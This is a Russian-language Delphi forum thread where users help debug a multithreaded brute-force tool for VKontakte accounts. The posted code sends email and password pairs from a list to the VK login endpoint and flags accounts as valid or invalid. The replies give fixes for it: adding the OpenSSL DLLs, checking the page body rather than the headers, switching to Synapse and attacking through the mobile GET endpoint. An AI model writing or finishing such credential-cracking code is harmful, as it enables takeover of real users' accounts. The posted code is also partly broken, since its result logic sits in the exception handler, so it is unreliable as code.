Delphi Support

Не знаю, у меня всё нормально. Но чел прав, всё равно в кой то мере потоки грузят проц. Попробуй приоритет понизь. Thread.Priority:=tpLowest

 

Не выкладывай никуда исходник, когда буду за компьютером еще раз проверю.

P.S. Возможно такая проблема только у тебя и поэтому скинь другу скомпилированный выполняющий файл, тобишь exe'шник. Если у него все нормально, то проблема у тебя, а если нет отпиши в этой же теме, я еще раз проверю исходник.

 

не получается сделать брут вк:
непрвильно брутит хз почему :(

Код:

data:=Tstringlist.create;
     data.Add('act=login');
     data.Add('role=al_frame');
     data.Add('expire=');
     data.Add('captcha_sid=');
     data.Add('captcha_key=');
     data.Add('origin=http://vk.com');
     data.Add('ip_h=2f1640aab691ea9515');
     data.Add('email='+FAcc);
     data.Add('pass='+FPas);

     try
      HTTP.Post('https://login.vk.com/?act=login', data);  // Куда отпровляем запрос
      Rez:=-1;
     except
    if Pos('Новости', HTTP.Response.RawHeaders.Text)<>0 then    //Делаем условие если в Новости еслить чтото то акк валидный если нету то нет


       Rez:=1  //good
      else
       Rez:=0; //BAAAADDD
     end;
     HTTP.Free;
    data.Free;

     Synchronize(Sync);
    end;
  end;

 

TryCoder39, я не сниффал запрос авторизаций в VK, но ты в курсе что ты для определения валида ищешь текст "Новости" в заголовках ответа от сервера?

 

В курсе. Но это же проверка на валид какбы

будет вот так:

 

Ты длл'ки подключил ?

 

нет , а надо? и как подключить?

 

Ну вот и ошибка, поиском воспользуйся , у меня просто сейчас времени нет расписывать и лучше используй Synapse , а не indy.

 

кинь на форму компонент TIdSSLIOHandlerSocketOpenSSL, в инди подключи его , тоесть в поле IO Handle выбери TIdSSLIOHandlerSocketOpenSSL , сохрани проект, кинь в папку с .ехе длл файлы нужный для работы с протоколом https , и готово. Мой совет, юзай синапс, и бруть ВК через мобилку гет запросом.

 

Там еще особенные длл нужны :)

 

Ни какими особенными длл-ками я не пользовался, всё и так работает.
P.S. Как Сказал BINK ты ищешь позицию "Новости" в хедерсах, какого ****? Хедерсы - это не код страницы, намёк понял?

 

Они особенные - в том смысле, что должны под версию подходить...
я 100500 длл'ок перепробовал потом положил на инди, и синапс поставил

 

Не знаю - не знаю, у меня проблем не возникало.Но то что положил на индюка это молодец. Синапс лучший =) Я тоже на индюшку забил, нафиг его...